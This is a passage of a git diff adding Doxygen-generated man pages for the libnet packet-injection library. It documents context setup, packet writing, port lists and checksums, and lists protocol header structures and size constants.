+.RE
+.PP
+
+.SS "char* libnet_diag_dump_pblock_type (u_int8_t type)"
+.PP
+[Diagnostic] Returns the canonical name of the pblock type.
+.PP
+\fBParameters:\fP
+.RS 4
+\fItype\fP pblock type
+.RE
+.PP
+\fBReturns:\fP
+.RS 4
+a string representing the pblock type type or 'unknown' for an unknown value
+.RE
+.PP
+
+.SS "struct libnet_ether_addr* libnet_get_hwaddr (libnet_t * l)"
+.PP
+Returns the MAC address for the device libnet was initialized with. If libnet was initialized without a device the function will attempt to find one. If the function fails and returns NULL a call to \fBlibnet_geterror()\fP will tell you why.
+.PP
+\fBParameters:\fP
+.RS 4
+\fIl\fP pointer to a libnet context
+.RE
+.PP
+\fBReturns:\fP
+.RS 4
+a pointer to the MAC address or NULL
+.RE
+.PP
+
+.SS "u_int32_t libnet_get_ipaddr4 (libnet_t * l)"
+.PP
+Returns the IP address for the device libnet was initialized with. If libnet was initialized without a device (in raw socket mode) the function will attempt to find one. If the function fails and returns -1 a call to libnet_geterrror() will tell you why.
+.PP
+\fBParameters:\fP
+.RS 4
+\fIl\fP pointer to a libnet context
+.RE
+.PP
+\fBReturns:\fP
+.RS 4
+a big endian IP address suitable for use in a libnet_build function or -1
+.RE
+.PP
+
+.SS "struct libnet_in6_addr libnet_get_ipaddr6 (libnet_t * l)"
+.PP
+This function is not yet implemented under IPv6.
+.PP
+\fBParameters:\fP
+.RS 4
+\fIl\fP pointer to a libnet context
+.RE
+.PP
+\fBReturns:\fP
+.RS 4
+well, nothing yet
+.RE
+.PP
+
+.SS "u_int32_t libnet_get_prand (int mod)"
+.PP
+Generates an unsigned psuedo-random value within the range specified by mod. LIBNET_PR2 0 - 1 LIBNET_PR8 0 - 255 LIBNET_PR16 0 - 32767 LIBNET_PRu16 0 - 65535 LIBNET_PR32 0 - 2147483647 LIBNET_PRu32 0 - 4294967295
+.PP
+\fBParameters:\fP
+.RS 4
+\fImod\fP one the of LIBNET_PR* constants
+.RE
+.PP
+\fBReturns:\fP
+.RS 4
+1 on success, -1 on failure
+.RE
+.PP
+
+.SS "int8_t* libnet_getdevice (libnet_t * l)"
+.PP
+Returns the canonical name of the device used for packet injection.
+.PP
+\fBParameters:\fP
+.RS 4
+\fIl\fP pointer to a libnet context
+.RE
+.PP
+\fBReturns:\fP
+.RS 4
+the canonical name of the device used for packet injection. Note it can be NULL without being an error.
+.RE
+.PP
+
+.SS "char* libnet_geterror (libnet_t * l)"
+.PP
+Returns the last error set inside of the referenced libnet context. This function should be called anytime a function fails or an error condition is detected inside of libnet.
+.PP
+\fBParameters:\fP
+.RS 4
+\fIl\fP pointer to a libnet context
+.RE
+.PP
+\fBReturns:\fP
+.RS 4
+an error string or NULL if no error has occured
+.RE
+.PP
+
+.SS "int libnet_getfd (libnet_t * l)"
+.PP
+Returns the FILENO of the file descriptor used for packet injection.
+.PP
+\fBParameters:\fP
+.RS 4
+\fIl\fP pointer to a libnet context
+.RE
+.PP
+\fBReturns:\fP
+.RS 4
+the file number of the file descriptor used for packet injection
+.RE
+.PP
+
+.SS "u_int32_t libnet_getgre_length (u_int16_t fv)\fC [inline]\fP"
+.PP
+\fBParameters:\fP
+.RS 4
+\fIpayload\fP optional payload or NULL
+.br
+\fIpayload_s\fP payload length or 0
+.br
+\fIl\fP pointer to a libnet context
+.br
+\fIptag\fP protocol tag to modify an existing header, 0 to build a new one
+.RE
+.PP
+\fBReturns:\fP
+.RS 4
+protocol tag value on success, -1 on error
+.RE
+.PP
+
+.SS "u_int32_t libnet_getpacket_size (libnet_t * l)"
+.PP
+Returns the sum of the size of all of the pblocks inside of l (this should be the resuling packet size).
+.PP
+\fBParameters:\fP
+.RS 4
+\fIl\fP pointer to a libnet context
+.RE
+.PP
+\fBReturns:\fP
+.RS 4
+the size of the packet in l
+.RE
+.PP
+
+.SS "u_int8_t* libnet_getpbuf (libnet_t * l, libnet_ptag_t ptag)"
+.PP
+Returns the pblock buffer contents for the specified ptag; a subsequent call to \fBlibnet_getpbuf_size()\fP should be made to determine the size of the buffer.
+.PP
+\fBParameters:\fP
+.RS 4
+\fIl\fP pointer to a libnet context
+.br
+\fIptag\fP the ptag reference number
+.RE
+.PP
+\fBReturns:\fP
+.RS 4
+a pointer to the pblock buffer or NULL on error
+.RE
+.PP
+
+.SS "u_int32_t libnet_getpbuf_size (libnet_t * l, libnet_ptag_t ptag)"
+.PP
+Returns the pblock buffer size for the specified ptag; a previous call to \fBlibnet_getpbuf()\fP should be made to pull the actual buffer contents.
+.PP
+\fBParameters:\fP
+.RS 4
+\fIl\fP pointer to a libnet context
+.br
+\fIptag\fP the ptag reference number
+.RE
+.PP
+\fBReturns:\fP
+.RS 4
+the size of the pblock buffer
+.RE
+.PP
+
+.SS "u_int8_t* libnet_hex_aton (int8_t * s, int * len)"
+.PP
+Takes a colon separated hexidecimal address (from the command line) and returns a bytestring suitable for use in a libnet_build function. Note this function performs an implicit malloc and the return value should be freed after its use.
+.PP
+\fBParameters:\fP
+.RS 4
+\fIs\fP the string to be parsed
+.br
+\fIlen\fP the resulting size of the returned byte string
+.RE
+.PP
+\fBReturns:\fP
+.RS 4
+a byte string or NULL on failure
+.RE
+.PP
+
+.SS "libnet_t* libnet_init (int injection_type, char * device, char * err_buf)"
+.PP
+Creates the libnet environment. It initializes the library and returns a libnet context. If the injection_type is LIBNET_LINK or LIBNET_LINK_ADV, the function initializes the injection primitives for the link-layer interface enabling the application programmer to build packets starting at the data-link layer (which also provides more granular control over the IP layer). If libnet uses the link-layer and the device argument is non-NULL, the function attempts to use the specified network device for packet injection. This is either a canonical string that references the device (such as 'eth0' for a 100MB Ethernet card on Linux or 'fxp0' for a 100MB Ethernet card on OpenBSD) or the dots and decimals representation of the device's IP address (192.168.0.1). If device is NULL, libnet attempts to find a suitable device to use. If the injection_type is LIBNET_RAW4 or LIBNET_RAW4_ADV, the function initializes the injection primitives for the IPv4 raw socket interface. The final argument, err_buf, should be a buffer of size LIBNET_ERRBUF_SIZE and holds an error message if the function fails. This function requires root privileges to execute successfully. Upon success, the function returns a valid libnet context for use in later function calls; upon failure, the function returns NULL.
+.PP
+\fBParameters:\fP
+.RS 4
+\fIinjection_type\fP packet injection type (LIBNET_LINK, LIBNET_LINK_ADV, LIBNET_RAW4, LIBNET_RAW4_ADV, LIBNET_RAW6, LIBNET_RAW6_ADV)
+.br
+\fIdevice\fP the interface to use (NULL and libnet will choose one)
+.br
+\fIerr_buf\fP will contain an error message on failure
+.RE
+.PP
+\fBReturns:\fP
+.RS 4
+libnet context ready for use or NULL on error.
+.RE
+.PP
+
+.SS "u_int32_t libnet_name2addr4 (libnet_t * l, char * host_name, u_int8_t use_name)"
+.PP
+Takes a dotted decimal string or a canonical DNS name and returns a network byte ordered IPv4 address. This may incur a DNS lookup if mode is set to LIBNET_RESOLVE and host_name refers to a canonical DNS name. If mode is set to LIBNET_DONT_RESOLVE no DNS lookup will occur. The function can fail if DNS lookup fails or if mode is set to LIBNET_DONT_RESOLVE and host_name refers to a canonical DNS name.
+.PP
+\fBParameters:\fP
+.RS 4
+\fIl\fP pointer to a libnet context
+.br
+\fIhost_name\fP pointer to a string containing a presentation format host name
+.br
+\fIuse_name\fP LIBNET_RESOLVE or LIBNET_DONT_RESOLVE
+.RE
+.PP
+\fBReturns:\fP
+.RS 4
+network byte ordered IPv4 address or -1 (2^32 - 1) on error
+.RE
+.PP
+
+.SS "struct libnet_in6_addr libnet_name2addr6 (libnet_t * l, char * host_name, u_int8_t use_name)"
+.PP
+Takes a dotted decimal string or a canonical DNS name and returns a network byte ordered IPv6 address. This may incur a DNS lookup if mode is set to LIBNET_RESOLVE and host_name refers to a canonical DNS name. If mode is set to LIBNET_DONT_RESOLVE no DNS lookup will occur. The function can fail if DNS lookup fails or if mode is set to LIBNET_DONT_RESOLVE and host_name refers to a canonical DNS name.
+.PP
+\fBParameters:\fP
+.RS 4
+\fIl\fP pointer to a libnet context
+.br
+\fIhost_name\fP pointer to a string containing a presentation format host name
+.br
+\fIuse_name\fP LIBNET_RESOLVE or LIBNET_DONT_RESOLVE
+.RE
+.PP
+\fBReturns:\fP
+.RS 4
+network byte ordered IPv6 address structure
+.RE
+.PP
+
+.SS "int libnet_plist_chain_dump (libnet_plist_t * plist)"
+.PP
+Runs through the port list and prints the contents of the port list chain list to stdout.
+.PP
+\fBParameters:\fP
+.RS 4
+\fIplist\fP previously created portlist
+.RE
+.PP
+\fBReturns:\fP
+.RS 4
+1 on success, -1 on failure
+.RE
+.PP
+
+.SS "char* libnet_plist_chain_dump_string (libnet_plist_t * plist)"
+.PP
+Runs through the port list and prints the contents of the port list chain list to string. This function uses strdup and is not re-entrant. It also has a memory leak and should not really be used.
+.PP
+\fBParameters:\fP
+.RS 4
+\fIplist\fP previously created portlist
+.RE
+.PP
+\fBReturns:\fP
+.RS 4
+a printable string containing the port list contents on success NULL on error
+.RE
+.PP
+
+.SS "int libnet_plist_chain_free (libnet_plist_t * plist)"
+.PP
+Frees all memory associated with port list chain.
+.PP
+\fBParameters:\fP
+.RS 4
+\fIplist\fP previously created portlist
+.RE
+.PP
+\fBReturns:\fP
+.RS 4
+1 on success, -1 on failure
+.RE
+.PP
+
+.SS "int libnet_plist_chain_new (libnet_t * l, libnet_plist_t ** plist, char * token_list)"
+.PP
+Creates a new port list. Port list chains are useful for TCP and UDP-based applications that need to send packets to a range of ports (contiguous or otherwise). The port list chain, which token_list points to, should contain a series of int8_tacters from the following list: '0123456789,-' of the general format 'x - y, z', where 'xyz' are port numbers between 0 and 65,535. plist points to the front of the port list chain list for use in further libnet_plist_chain() functions. Upon success, the function returns 1. Upon failure, the function returns -1 and \fBlibnet_geterror()\fP can tell you why.
+.PP
+\fBParameters:\fP
+.RS 4
+\fIl\fP pointer to a libnet context
+.br
+\fIplist\fP if successful, will refer to the portlist, if not, NULL
+.br
+\fItoken_list\fP string containing the port list primitive
+.RE
+.PP
+\fBReturns:\fP
+.RS 4
+1 on success, -1 on failure
+.RE
+.PP
+
+.SS "int libnet_plist_chain_next_pair (libnet_plist_t * plist, u_int16_t * bport, u_int16_t * eport)"
+.PP
+Returns the next port list chain pair from the port list chain plist. bport and eport contain the starting port number and ending port number, respectively. Upon success, the function returns 1 and fills in the port variables; however, if the list is empty, the function returns 0 and sets both port variables to 0. Upon failure, the function returns -1.
+.PP
+\fBParameters:\fP
+.RS 4
+\fIplist\fP previously created portlist
+.br
+\fIbport\fP will contain the beginning port number or 0
+.br
+\fIeport\fP will contain the ending port number or 0
+.RE
+.PP
+\fBReturns:\fP
+.RS 4
+1 on success, 0 if empty, -1 on failure
+.RE
+.PP
+
+.SS "int libnet_seed_prand (libnet_t * l)"
+.PP
+Seeds the psuedo-random number generator.
+.PP
+\fBParameters:\fP
+.RS 4
+\fIl\fP pointer to a libnet context
+.RE
+.PP
+\fBReturns:\fP
+.RS 4
+1 on success, -1 on failure
+.RE
+.PP
+
+.SS "void libnet_stats (libnet_t * l, struct libnet_stats * ls)"
+.PP
+Fills in a libnet_stats structure with packet injection statistics (packets written, bytes written, packet sending errors).
+.PP
+\fBParameters:\fP
+.RS 4
+\fIl\fP pointer to a libnet context
+.br
+\fIls\fP pointer to a libnet statistics structure
+.RE
+.PP
+
+.SS "int libnet_toggle_checksum (libnet_t * l, libnet_ptag_t ptag, int mode)"
+.PP
+If a given protocol header is built with the checksum field set to '0', by default libnet will calculate the header checksum prior to injection. If the header is set to any other value, by default libnet will not calculate the header checksum. To over-ride this behavior, use \fBlibnet_toggle_checksum()\fP. Switches auto-checksumming on or off for the specified ptag. If mode is set to LIBNET_ON, libnet will mark the specificed ptag to calculate a checksum for the ptag prior to injection. This assumes that the ptag refers to a protocol that has a checksum field. If mode is set to LIBNET_OFF, libnet will clear the checksum flag and no checksum will be computed prior to injection. This assumes that the programmer will assign a value (zero or otherwise) to the checksum field. Often times this is useful if a precomputed checksum or some other predefined value is going to be used. Note that when libnet is initialized with LIBNET_RAW4, the IPv4 header checksum will always be computed by the kernel prior to injection, regardless of what the programmer sets.
+.PP
+\fBParameters:\fP
+.RS 4
+\fIl\fP pointer to a libnet context
+.br
+\fIptag\fP the ptag reference number
+.br
+\fImode\fP LIBNET_ON or LIBNET_OFF
+.RE
+.PP
+\fBReturns:\fP
+.RS 4
+1 on success, -1 on failure
+.RE
+.PP
+
+.SS "int libnet_write (libnet_t * l)"
+.PP
+Writes a prebuilt packet to the network. The function assumes that l was previously initialized (via a call to \fBlibnet_init()\fP) and that a previously constructed packet has been built inside this context (via one or more calls to the libnet_build* family of functions) and is ready to go. Depending on how libnet was initialized, the function will write the packet to the wire either via the raw or link layer interface. The function will also bump up the internal libnet stat counters which are retrievable via \fBlibnet_stats()\fP.
+.PP
+\fBParameters:\fP
+.RS 4
+\fIl\fP pointer to a libnet context
+.RE
+.PP
+\fBReturns:\fP
+.RS 4
+the number of bytes written, -1 on error
+.RE
+.PP
+
+.SH "Author"
+.PP
+Generated automatically by Doxygen for libnet from the source code.
diff --git a/libnet/doc/man/man3/libnet-headers.h.3 b/libnet/doc/man/man3/libnet-headers.h.3
new file mode 100644
index 0000000..a3cd32f
--- /dev/null
+++ b/libnet/doc/man/man3/libnet-headers.h.3
@@ -0,0 +1,1872 @@
+.TH "libnet-headers.h" 3 "10 Mar 2004" "libnet" \" -*- nroff -*-
+.ad l
+.nh
+.SH NAME
+libnet-headers.h \- libnet header information
+
+.SH SYNOPSIS
+.br
+.PP
+.SS "Data Structures"
+
+.in +1c
+.ti -1c
+.RI "struct \fBlibnet_802_1q_hdr\fP"
+.br
+.ti -1c
+.RI "struct \fBlibnet_802_1x_hdr\fP"
+.br
+.ti -1c
+.RI "struct \fBlibnet_802_2_hdr\fP"
+.br
+.ti -1c
+.RI "struct \fBlibnet_802_2snap_hdr\fP"
+.br
+.ti -1c
+.RI "struct \fBlibnet_802_3_hdr\fP"
+.br
+.ti -1c
+.RI "struct \fBlibnet_ah_hdr\fP"
+.br
+.ti -1c
+.RI "struct \fBlibnet_arp_hdr\fP"
+.br
+.ti -1c
+.RI "struct \fBlibnet_as_lsa_hdr\fP"
+.br
+.ti -1c
+.RI "struct \fBlibnet_auth_hdr\fP"
+.br
+.ti -1c
+.RI "struct \fBlibnet_bgp4_header_hdr\fP"
+.br
+.ti -1c
+.RI "struct \fBlibnet_bgp4_notification_hdr\fP"
+.br
+.ti -1c
+.RI "struct \fBlibnet_bgp4_open_hdr\fP"
+.br
+.ti -1c
+.RI "struct \fBlibnet_cdp_hdr\fP"
+.br
+.ti -1c
+.RI "struct \fBlibnet_cdp_value_hdr\fP"
+.br
+.ti -1c
+.RI "struct \fBlibnet_dbd_hdr\fP"
+.br
+.ti -1c
+.RI "struct \fBlibnet_dhcpv4_hdr\fP"
+.br
+.ti -1c
+.RI "struct \fBlibnet_dnsv4_hdr\fP"
+.br
+.ti -1c
+.RI "struct \fBlibnet_esp_ftr\fP"
+.br
+.ti -1c
+.RI "struct \fBlibnet_esp_hdr\fP"
+.br
+.ti -1c
+.RI "struct \fBlibnet_ether_addr\fP"
+.br
+.ti -1c
+.RI "struct \fBlibnet_ethernet_hdr\fP"
+.br
+.ti -1c
+.RI "struct \fBlibnet_fddi_addr\fP"
+.br
+.ti -1c
+.RI "struct \fBlibnet_fddi_hdr\fP"
+.br
+.ti -1c
+.RI "struct \fBlibnet_gre_hdr\fP"
+.br
+.ti -1c
+.RI "struct \fBlibnet_gre_sre_hdr\fP"
+.br
+.ti -1c
+.RI "struct \fBlibnet_icmpv4_hdr\fP"
+.br
+.ti -1c
+.RI "struct \fBlibnet_icmpv6_hdr\fP"
+.br
+.ti -1c
+.RI "struct \fBlibnet_igmp_hdr\fP"
+.br
+.ti -1c
+.RI "struct \fBlibnet_in6_addr\fP"
+.br
+.ti -1c
+.RI "struct \fBlibnet_ipv4_hdr\fP"
+.br
+.ti -1c
+.RI "struct \fBlibnet_ipv6_destopts_hdr\fP"
+.br
+.ti -1c
+.RI "struct \fBlibnet_ipv6_frag_hdr\fP"
+.br
+.ti -1c
+.RI "struct \fBlibnet_ipv6_hbhopts_hdr\fP"
+.br
+.ti -1c
+.RI "struct \fBlibnet_ipv6_hdr\fP"
+.br
+.ti -1c
+.RI "struct \fBlibnet_ipv6_routing_hdr\fP"
+.br
+.ti -1c
+.RI "struct \fBlibnet_isl_hdr\fP"
+.br
+.ti -1c
+.RI "struct \fBlibnet_lsa_hdr\fP"
+.br
+.ti -1c
+.RI "struct \fBlibnet_lsr_hdr\fP"
+.br
+.ti -1c
+.RI "struct \fBlibnet_lsu_hdr\fP"
+.br
+.ti -1c
+.RI "struct \fBlibnet_mpls_hdr\fP"
+.br
+.ti -1c
+.RI "struct \fBlibnet_net_lsa_hdr\fP"
+.br
+.ti -1c
+.RI "struct \fBlibnet_ntp_hdr\fP"
+.br
+.ti -1c
+.RI "struct \fBlibnet_ntp_hdr_l_fp\fP"
+.br
+.ti -1c
+.RI "struct \fBlibnet_ntp_hdr_s_fp\fP"
+.br
+.ti -1c
+.RI "struct \fBlibnet_ospf_hdr\fP"
+.br
+.ti -1c
+.RI "struct \fBlibnet_ospf_hello_hdr\fP"
+.br
+.ti -1c
+.RI "struct \fBlibnet_rip_hdr\fP"
+.br
+.ti -1c
+.RI "struct \fBlibnet_rpc_call\fP"
+.br
+.ti -1c
+.RI "struct \fBlibnet_rpc_call_hdr\fP"
+.br
+.ti -1c
+.RI "struct \fBlibnet_rpc_call_tcp_hdr\fP"
+.br
+.ti -1c
+.RI "struct \fBlibnet_rpc_opaque_auth\fP"
+.br
+.ti -1c
+.RI "struct \fBlibnet_rtr_lsa_hdr\fP"
+.br
+.ti -1c
+.RI "struct \fBlibnet_sebek_hdr\fP"
+.br
+.ti -1c
+.RI "struct \fBlibnet_stp_conf_hdr\fP"
+.br
+.ti -1c
+.RI "struct \fBlibnet_stp_tcn_hdr\fP"
+.br
+.ti -1c
+.RI "struct \fBlibnet_sum_lsa_hdr\fP"
+.br
+.ti -1c
+.RI "struct \fBlibnet_tcp_hdr\fP"
+.br
+.ti -1c
+.RI "struct \fBlibnet_token_ring_addr\fP"
+.br
+.ti -1c
+.RI "struct \fBlibnet_token_ring_hdr\fP"
+.br
+.ti -1c
+.RI "struct \fBlibnet_udp_hdr\fP"
+.br
+.ti -1c
+.RI "struct \fBlibnet_vrrp_hdr\fP"
+.br
+.in -1c
+.SS "Defines"
+
+.in +1c
+.ti -1c
+.RI "#define \fBLIBNET_802_1Q_H\fP 0x12"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_802_1X_H\fP 0x04"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_802_2_H\fP 0x03"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_802_2SNAP_H\fP 0x08"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_802_3_H\fP 0x0e"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_ARP_H\fP 0x08"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_ARP_ETH_IP_H\fP 0x1c"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_BGP4_HEADER_H\fP 0x13"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_BGP4_OPEN_H\fP 0x0a"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_BGP4_UPDATE_H\fP 0x04"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_BGP4_NOTIFICATION_H\fP 0x02"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_CDP_H\fP 0x08"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_DHCPV4_H\fP 0xf0"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_UDP_DNSV4_H\fP 0x0c"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_TCP_DNSV4_H\fP 0x0e"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_ETH_H\fP 0x0e"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_FDDI_H\fP 0x15"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_ICMPV4_H\fP 0x04"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_ICMPV4_ECHO_H\fP 0x08"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_ICMPV4_MASK_H\fP 0x0c"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_ICMPV4_UNREACH_H\fP 0x08"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_ICMPV4_TIMXCEED_H\fP 0x08"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_ICMPV4_REDIRECT_H\fP 0x08"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_ICMPV4_TS_H\fP 0x14"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_ICMPV6_H\fP 0x08"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_IGMP_H\fP 0x08"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_IPV4_H\fP 0x14"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_IPV6_H\fP 0x28"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_IPV6_FRAG_H\fP 0x08"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_IPV6_ROUTING_H\fP 0x04"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_IPV6_DESTOPTS_H\fP 0x02"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_IPV6_HBHOPTS_H\fP 0x02"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_IPSEC_ESP_HDR_H\fP 0x0c"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_IPSEC_ESP_FTR_H\fP 0x02"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_IPSEC_AH_H\fP 0x10"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_ISL_H\fP 0x1a"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_GRE_H\fP 0x04"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_GRE_SRE_H\fP 0x04"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_MPLS_H\fP 0x04"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_OSPF_H\fP 0x10"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_OSPF_HELLO_H\fP 0x18"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_OSPF_DBD_H\fP 0x08"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_OSPF_LSR_H\fP 0x0c"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_OSPF_LSU_H\fP 0x04"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_OSPF_LSA_H\fP 0x14"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_OSPF_AUTH_H\fP 0x08"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_OSPF_CKSUM\fP 0x10"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_OSPF_LS_RTR_H\fP 0x10"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_OSPF_LS_NET_H\fP 0x08"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_OSPF_LS_SUM_H\fP 0x0c"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_OSPF_LS_AS_EXT_H\fP 0x10"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_NTP_H\fP 0x30"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_RIP_H\fP 0x18"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_RPC_CALL_H\fP 0x28"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_RPC_CALL_TCP_H\fP 0x2c"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_SEBEK_H\fP 0x30"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_STP_CONF_H\fP 0x23"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_STP_TCN_H\fP 0x04"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_TOKEN_RING_H\fP 0x16"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_TCP_H\fP 0x14"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_UDP_H\fP 0x08"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_VRRP_H\fP 0x08"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_802_1Q_PRIMASK\fP 0x0007"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_802_1Q_CFIMASK\fP 0x0001"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_802_1Q_VIDMASK\fP 0x0fff"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_802_1X_PACKET\fP 0x00"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_802_1X_START\fP 0x01"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_802_1X_LOGOFF\fP 0x02"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_802_1X_KEY\fP 0x03"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_802_1X_ENCASFAL\fP 0x04"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_SAP_STP\fP 0x42"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_SAP_SNAP\fP 0xaa"
+.br
+.ti -1c
+.RI "#define \fBARPHRD_NETROM\fP 0"
+.br
+.ti -1c
+.RI "#define \fBARPHRD_ETHER\fP 1"
+.br
+.ti -1c
+.RI "#define \fBARPHRD_EETHER\fP 2"
+.br
+.ti -1c
+.RI "#define \fBARPHRD_AX25\fP 3"
+.br
+.ti -1c
+.RI "#define \fBARPHRD_PRONET\fP 4"
+.br
+.ti -1c
+.RI "#define \fBARPHRD_CHAOS\fP 5"
+.br
+.ti -1c
+.RI "#define \fBARPHRD_IEEE802\fP 6"
+.br
+.ti -1c
+.RI "#define \fBARPHRD_ARCNET\fP 7"
+.br
+.ti -1c
+.RI "#define \fBARPHRD_APPLETLK\fP 8"
+.br
+.ti -1c
+.RI "#define \fBARPHRD_LANSTAR\fP 9"
+.br
+.ti -1c
+.RI "#define \fBARPHRD_DLCI\fP 15"
+.br
+.ti -1c
+.RI "#define \fBARPHRD_ATM\fP 19"
+.br
+.ti -1c
+.RI "#define \fBARPHRD_METRICOM\fP 23"
+.br
+.ti -1c
+.RI "#define \fBARPHRD_IPSEC\fP 31"
+.br
+.ti -1c
+.RI "#define \fBARPOP_REQUEST\fP 1"
+.br
+.ti -1c
+.RI "#define \fBARPOP_REPLY\fP 2"
+.br
+.ti -1c
+.RI "#define \fBARPOP_REVREQUEST\fP 3"
+.br
+.ti -1c
+.RI "#define \fBARPOP_REVREPLY\fP 4"
+.br
+.ti -1c
+.RI "#define \fBARPOP_INVREQUEST\fP 8"
+.br
+.ti -1c
+.RI "#define \fBARPOP_INVREPLY\fP 9"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_BGP4_MARKER_SIZE\fP 16"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_BGP4_OPEN\fP 1"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_BGP4_UPDATE\fP 2"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_BGP4_NOTIFICATION\fP 3"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_BGP4_KEEPALIVE\fP 4"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_BGP4_MESSAGE_HEADER_ERROR\fP 1"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_BGP4_OPEN_MESSAGE_ERROR\fP 2"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_BGP4_UPDATE_MESSAGE_ERROR\fP 3"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_BGP4_HOLD_TIMER_EXPIRED\fP 4"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_BGP4_FINITE_STATE__ERROR\fP 5"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_BGP4_CEASE\fP 6"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_BGP4_CONNECTION_NOT_SYNCHRONIZED\fP 1"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_BGP4_BAD_MESSAGE_LENGTH\fP 2"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_BGP4_BAD_MESSAGE_TYPE\fP 3"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_BGP4_UNSUPPORTED_VERSION_NUMBER\fP 1"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_BGP4_BAD_PEER_AS\fP 2"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_BGP4_BAD_BGP_IDENTIFIER\fP 3"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_BGP4_UNSUPPORTED_OPTIONAL_PARAMETER\fP 4"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_BGP4_AUTHENTICATION_FAILURE\fP 5"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_BGP4_UNACCEPTABLE_HOLD_TIME\fP 6"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_BGP4_MALFORMED_ATTRIBUTE_LIST\fP"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_BGP4_UNRECOGNIZED_WELL_KNOWN_ATTRIBUTE\fP"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_BGP4_MISSING_WELL_KNOWN_ATTRIBUTE\fP"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_BGP4_ATTRIBUTE_FLAGS_ERROR\fP"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_BGP4_ATTRIBUTE_LENGTH_ERROR\fP"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_BGP4_INVALID_ORIGIN_ATTRIBUTE\fP"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_BGP4_AS_ROUTING_LOOP\fP"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_BGP4_INVALID_NEXT_HOP_ATTRIBUTE\fP"
+.br
+.ti -1c
